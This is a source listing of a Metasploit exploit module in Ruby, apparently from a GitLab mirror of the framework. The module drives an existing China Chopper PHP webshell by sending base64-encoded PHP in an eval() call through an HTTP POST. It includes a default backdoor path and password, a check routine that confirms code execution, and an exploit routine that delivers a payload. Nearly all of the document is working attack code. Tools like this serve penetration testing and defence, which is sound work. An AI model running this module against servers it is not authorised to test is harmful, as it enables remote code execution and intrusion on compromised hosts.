PageRenderTime 52ms CodeModel.GetById 25ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/multi/http/caidao_php_backdoor_exec.rb

https://gitlab.com/0072016/metasploit-framework-rapid7
Ruby | 72 lines | 59 code | 9 blank | 4 comment | 2 complexity | f5a1313427fb89b88b3d76b8f4b3e727 MD5 | raw file
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class MetasploitModule < Msf::Exploit::Remote
  7. Rank = ExcellentRanking
  8. include Msf::Exploit::Remote::HttpClient
  9. def initialize(info = {})
  10. super(update_info(info,
  11. 'Name' => 'China Chopper Caidao PHP Backdoor Code Execution',
  12. 'Description' => %q{
  13. This module takes advantage of the China Chopper Webshell that is
  14. commonly used by Chinese hackers.
  15. },
  16. 'License' => MSF_LICENSE,
  17. 'Author' => ['Nixawk'],
  18. 'References' =>
  19. [
  20. ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'],
  21. ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html'],
  22. ['URL', 'https://www.exploit-db.com/docs/27654.pdf'],
  23. ['URL', 'https://www.us-cert.gov/ncas/alerts/TA15-313A']
  24. ],
  25. 'Platform' => ['php'],
  26. 'Arch' => ARCH_PHP,
  27. 'Targets' =>
  28. [
  29. ['Automatic', {}]
  30. ],
  31. 'Privileged' => false,
  32. 'DisclosureDate' => 'Oct 27 2015',
  33. 'DefaultTarget' => 0))
  34. register_options(
  35. [
  36. OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']),
  37. OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper'])
  38. ], self.class)
  39. end
  40. def http_send_command(code)
  41. code = "eval(base64_decode(\"#{Rex::Text.encode_base64(code)}\"));"
  42. send_request_cgi({
  43. 'method' => 'POST',
  44. 'uri' => normalize_uri(target_uri.path),
  45. 'vars_post' => {
  46. "#{datastore['PASSWORD']}" => code
  47. }
  48. })
  49. end
  50. def check
  51. flag = Rex::Text.rand_text_alpha(16)
  52. res = http_send_command("printf(\"#{flag}\");")
  53. if res && res.body =~ /#{flag}/m
  54. Exploit::CheckCode::Vulnerable
  55. else
  56. Exploit::CheckCode::Safe
  57. end
  58. end
  59. def exploit
  60. print_status("Sending exploit...")
  61. http_send_command(payload.raw)
  62. end
  63. end